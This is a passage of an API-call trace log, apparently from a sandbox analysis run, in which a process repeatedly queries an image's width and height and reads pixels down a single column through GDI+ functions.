[0226.542] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.542] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=121, color=0x540e3d0) returned 0x0 [0226.542] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.542] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.542] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=122, color=0x540e3d0) returned 0x0 [0226.542] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.542] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.542] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=123, color=0x540e3d0) returned 0x0 [0226.542] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.542] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.542] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=124, color=0x540e3d0) returned 0x0 [0226.542] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.542] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.542] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=125, color=0x540e3d0) returned 0x0 [0226.542] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.542] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.542] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=126, color=0x540e3d0) returned 0x0 [0226.542] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.542] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.542] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=127, color=0x540e3d0) returned 0x0 [0226.542] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.542] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.542] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=128, color=0x540e3d0) returned 0x0 [0226.542] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.542] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.542] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=129, color=0x540e3d0) returned 0x0 [0226.543] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.543] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.543] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=130, color=0x540e3d0) returned 0x0 [0226.543] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.543] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.543] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=131, color=0x540e3d0) returned 0x0 [0226.543] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.543] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.543] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=132, color=0x540e3d0) returned 0x0 [0226.543] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.543] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.543] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=133, color=0x540e3d0) returned 0x0 [0226.543] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.543] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.543] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=134, color=0x540e3d0) returned 0x0 [0226.543] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.543] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.543] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=135, color=0x540e3d0) returned 0x0 [0226.543] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.543] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.543] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=136, color=0x540e3d0) returned 0x0 [0226.543] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.543] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.543] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=137, color=0x540e3d0) returned 0x0 [0226.543] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.543] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.543] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=138, color=0x540e3d0) returned 0x0 [0226.543] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.543] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.543] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=139, color=0x540e3d0) returned 0x0 [0226.543] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.543] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.543] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=140, color=0x540e3d0) returned 0x0 [0226.543] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.543] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.543] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=141, color=0x540e3d0) returned 0x0 [0226.544] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.544] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.544] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=142, color=0x540e3d0) returned 0x0 [0226.544] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.544] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.544] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=143, color=0x540e3d0) returned 0x0 [0226.544] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.544] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.544] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=144, color=0x540e3d0) returned 0x0 [0226.544] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.544] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.544] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=145, color=0x540e3d0) returned 0x0 [0226.544] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.544] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.544] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=146, color=0x540e3d0) returned 0x0 [0226.544] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.544] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.544] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=147, color=0x540e3d0) returned 0x0 [0226.544] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.544] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.544] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=148, color=0x540e3d0) returned 0x0 [0226.544] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.544] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.544] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=149, color=0x540e3d0) returned 0x0 [0226.544] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.544] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.544] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=150, color=0x540e3d0) returned 0x0 [0226.544] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.544] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.544] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=151, color=0x540e3d0) returned 0x0 [0226.544] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.544] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.544] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=152, color=0x540e3d0) returned 0x0 [0226.544] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.544] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.544] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=153, color=0x540e3d0) returned 0x0 [0226.545] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.545] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.545] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=154, color=0x540e3d0) returned 0x0 [0226.545] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.545] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.545] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=155, color=0x540e3d0) returned 0x0 [0226.545] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.545] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.545] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=156, color=0x540e3d0) returned 0x0 [0226.545] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.545] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.545] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=157, color=0x540e3d0) returned 0x0 [0226.545] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.545] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.545] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=158, color=0x540e3d0) returned 0x0 [0226.545] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.545] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.545] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=159, color=0x540e3d0) returned 0x0 [0226.545] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.545] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.545] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=160, color=0x540e3d0) returned 0x0 [0226.545] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.545] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.545] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=161, color=0x540e3d0) returned 0x0 [0226.545] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.545] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.545] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=162, color=0x540e3d0) returned 0x0 [0226.545] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.545] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.545] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=163, color=0x540e3d0) returned 0x0 [0226.545] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.545] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.545] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=164, color=0x540e3d0) returned 0x0 [0226.545] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.545] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.545] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=165, color=0x540e3d0) returned 0x0 [0226.546] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.546] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.546] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=166, color=0x540e3d0) returned 0x0 [0226.546] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.546] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.546] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=167, color=0x540e3d0) returned 0x0 [0226.546] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.546] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.546] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=168, color=0x540e3d0) returned 0x0 [0226.546] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.546] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.546] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=169, color=0x540e3d0) returned 0x0 [0226.546] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.546] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.546] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=170, color=0x540e3d0) returned 0x0 [0226.546] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.546] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.546] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=171, color=0x540e3d0) returned 0x0 [0226.546] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.546] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.546] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=172, color=0x540e3d0) returned 0x0 [0226.546] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.546] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.546] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=173, color=0x540e3d0) returned 0x0 [0226.546] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.546] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.546] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=174, color=0x540e3d0) returned 0x0 [0226.546] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.546] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.546] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=175, color=0x540e3d0) returned 0x0 [0226.546] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.546] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.546] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=176, color=0x540e3d0) returned 0x0 [0226.546] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.546] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.547] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=177, color=0x540e3d0) returned 0x0 [0226.547] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.547] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.547] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=178, color=0x540e3d0) returned 0x0 [0226.547] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.547] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.547] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=179, color=0x540e3d0) returned 0x0 [0226.547] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.547] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.547] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=180, color=0x540e3d0) returned 0x0 [0226.547] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.547] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.547] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=181, color=0x540e3d0) returned 0x0 [0226.547] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.547] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.547] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=182, color=0x540e3d0) returned 0x0 [0226.547] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.547] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.547] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=183, color=0x540e3d0) returned 0x0 [0226.547] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.547] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.547] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=184, color=0x540e3d0) returned 0x0 [0226.547] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.547] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.547] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=185, color=0x540e3d0) returned 0x0 [0226.547] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.547] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.547] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=186, color=0x540e3d0) returned 0x0 [0226.547] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.547] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.547] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=187, color=0x540e3d0) returned 0x0 [0226.547] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.547] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.547] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=188, color=0x540e3d0) returned 0x0 [0226.547] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.547] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.548] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=189, color=0x540e3d0) returned 0x0 [0226.548] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.548] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.548] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=190, color=0x540e3d0) returned 0x0 [0226.548] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.548] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.548] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=191, color=0x540e3d0) returned 0x0 [0226.548] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.548] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.548] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=192, color=0x540e3d0) returned 0x0 [0226.548] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.548] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.548] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=193, color=0x540e3d0) returned 0x0 [0226.548] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.548] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.548] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=194, color=0x540e3d0) returned 0x0 [0226.548] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.548] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.548] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=195, color=0x540e3d0) returned 0x0 [0226.548] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.548] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.548] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=196, color=0x540e3d0) returned 0x0 [0226.548] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.548] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.548] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=197, color=0x540e3d0) returned 0x0 [0226.548] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.548] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.548] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=198, color=0x540e3d0) returned 0x0 [0226.548] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.548] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.548] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=199, color=0x540e3d0) returned 0x0 [0226.548] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.548] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.548] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=200, color=0x540e3d0) returned 0x0 [0226.548] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.548] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.549] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=201, color=0x540e3d0) returned 0x0 [0226.549] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.549] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.549] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=202, color=0x540e3d0) returned 0x0 [0226.549] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.549] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.549] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=203, color=0x540e3d0) returned 0x0 [0226.549] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.549] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.549] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=204, color=0x540e3d0) returned 0x0 [0226.549] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.549] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.549] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=205, color=0x540e3d0) returned 0x0 [0226.549] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.549] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.549] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=206, color=0x540e3d0) returned 0x0 [0226.549] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.549] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.549] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=207, color=0x540e3d0) returned 0x0 [0226.549] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.549] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.549] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=208, color=0x540e3d0) returned 0x0 [0226.549] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.549] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.549] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=209, color=0x540e3d0) returned 0x0 [0226.549] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.549] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.549] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=210, color=0x540e3d0) returned 0x0 [0226.549] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.549] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.549] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=211, color=0x540e3d0) returned 0x0 [0226.549] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.549] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.550] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=212, color=0x540e3d0) returned 0x0 [0226.550] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.550] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.550] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=213, color=0x540e3d0) returned 0x0 [0226.550] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.550] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.550] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=214, color=0x540e3d0) returned 0x0 [0226.550] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.550] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.550] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=215, color=0x540e3d0) returned 0x0 [0226.550] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.550] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.550] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=216, color=0x540e3d0) returned 0x0 [0226.550] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.550] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.550] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=217, color=0x540e3d0) returned 0x0 [0226.550] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.550] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.550] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=218, color=0x540e3d0) returned 0x0 [0226.550] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.550] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.550] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=219, color=0x540e3d0) returned 0x0 [0226.550] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.550] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.550] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=220, color=0x540e3d0) returned 0x0 [0226.550] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.550] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.550] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=221, color=0x540e3d0) returned 0x0 [0226.550] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.550] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.550] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=222, color=0x540e3d0) returned 0x0 [0226.551] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.551] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.551] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=223, color=0x540e3d0) returned 0x0 [0226.551] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.551] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.551] GdipBitmapGetPixel 